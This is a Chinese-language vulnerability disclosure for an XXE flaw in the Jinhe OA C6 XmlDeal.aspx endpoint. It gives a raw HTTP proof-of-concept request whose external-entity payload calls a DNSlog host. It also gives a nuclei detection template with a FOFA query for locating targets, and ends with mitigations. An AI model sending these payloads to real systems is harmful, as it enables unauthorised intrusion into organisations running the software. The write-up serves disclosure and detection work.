金和OA_XmlDeal接口存在XXE漏洞

0x00、声明

        本文所涉及的任何技术、信息或工具，仅供学习和参考之用，请勿将文章内的相关技术用于非法目的，如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。

中华人民共和国网络安全法

第二十七条 规定

        任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动；不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具；明知他人从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。

0x01、概述

一、厂商信息

        金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务.

二、漏洞描述

      金和OA C6系统XmlDeal接口存在XXE漏洞，应用程序在解析XML数据时，没有正确验证或限制实体引用，攻击者就可以通过构造恶意的XML输入，将外部实体引用进来，从而执行恶意操作。

三、指纹

FOFA：

0x02、漏洞复现

2.1、生成一个DNSlog服务

2.2、发包测试

POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1
Host: {{hostname}}
Content-Type: application/Xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ouakfkzojb.dgrh3.cn"> %remote;]>'

payload：<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://DNSlog"> %remote;]>'

dnslog成功响应

2.3、dnslog网站平台测试

测试截图

0x03、检测POC

nuclei脚本

id: jinhe_XEE

info:
  name: jinhe_XEE_vuln
  author: qweqzqzq
  severity: high
  description: C6-XmlDeal.aspx接口
  metadata:
    max-request: 1
    fofa-query: app="金和网络-金和OA"

requests:
- raw:
  - |
    POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/Xml

    <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> %remote;]>'

  matchers-condition: and
  matchers:
      - type: word
        part: interactsh_protocol 
        words:
          - "dns"
      - type: status
        status:
          - 200

测试截图：

0x04、防范措施

1、过滤用户提交的XML数据；

2、使用开发语言提供的禁用外部实体的方法；

3、过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC；

4、升级到最新版本。